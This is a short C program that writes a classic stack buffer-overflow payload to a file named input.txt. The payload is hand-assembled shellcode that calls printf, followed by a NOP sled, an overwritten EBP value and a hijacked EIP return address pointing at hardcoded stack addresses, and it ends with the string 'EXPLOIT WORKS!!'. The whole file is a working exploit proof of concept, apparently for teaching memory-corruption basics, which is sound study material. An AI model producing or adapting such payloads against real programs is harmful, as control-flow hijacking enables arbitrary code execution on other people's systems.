#include <stdio.h>
int main()
{
 char code1[9]="\x83\xEC\x20\x68\x88\xFF\x12\x00";	//SUB ESP,0x20 + PUSH offset(str)
 char code2[6]="\xE8\x9B\x11\x2D\x00";			//CALL printf()
 char   nop[8]="\x90\x90\x90\x90\x90\x90\x90";		//7 x NOP
 char   ebp[5]="\x80\xFF\x12\x00";			//EBP value
 char   eip[5]="\x6C\xFF\x12\x00";			//EIP value
 char   str[17]="EXPLOIT WORKS!!\x00";			//null string

 FILE *fd=NULL;
 fd=fopen("input.txt","wb");
 int i;
 
 for(i=0;i<8;i++)  fprintf(fd,"%c",code1[i]);
 for(i=0;i<5;i++)  fprintf(fd,"%c",code2[i]);
 for(i=0;i<7;i++)  fprintf(fd,"%c",nop[i]);
 for(i=0;i<4;i++)  fprintf(fd,"%c",ebp[i]);
 for(i=0;i<4;i++)  fprintf(fd,"%c",eip[i]);
 for(i=0;i<16;i++) fprintf(fd,"%c",str[i]); 	
 
 fclose(fd);
  return 0;
}
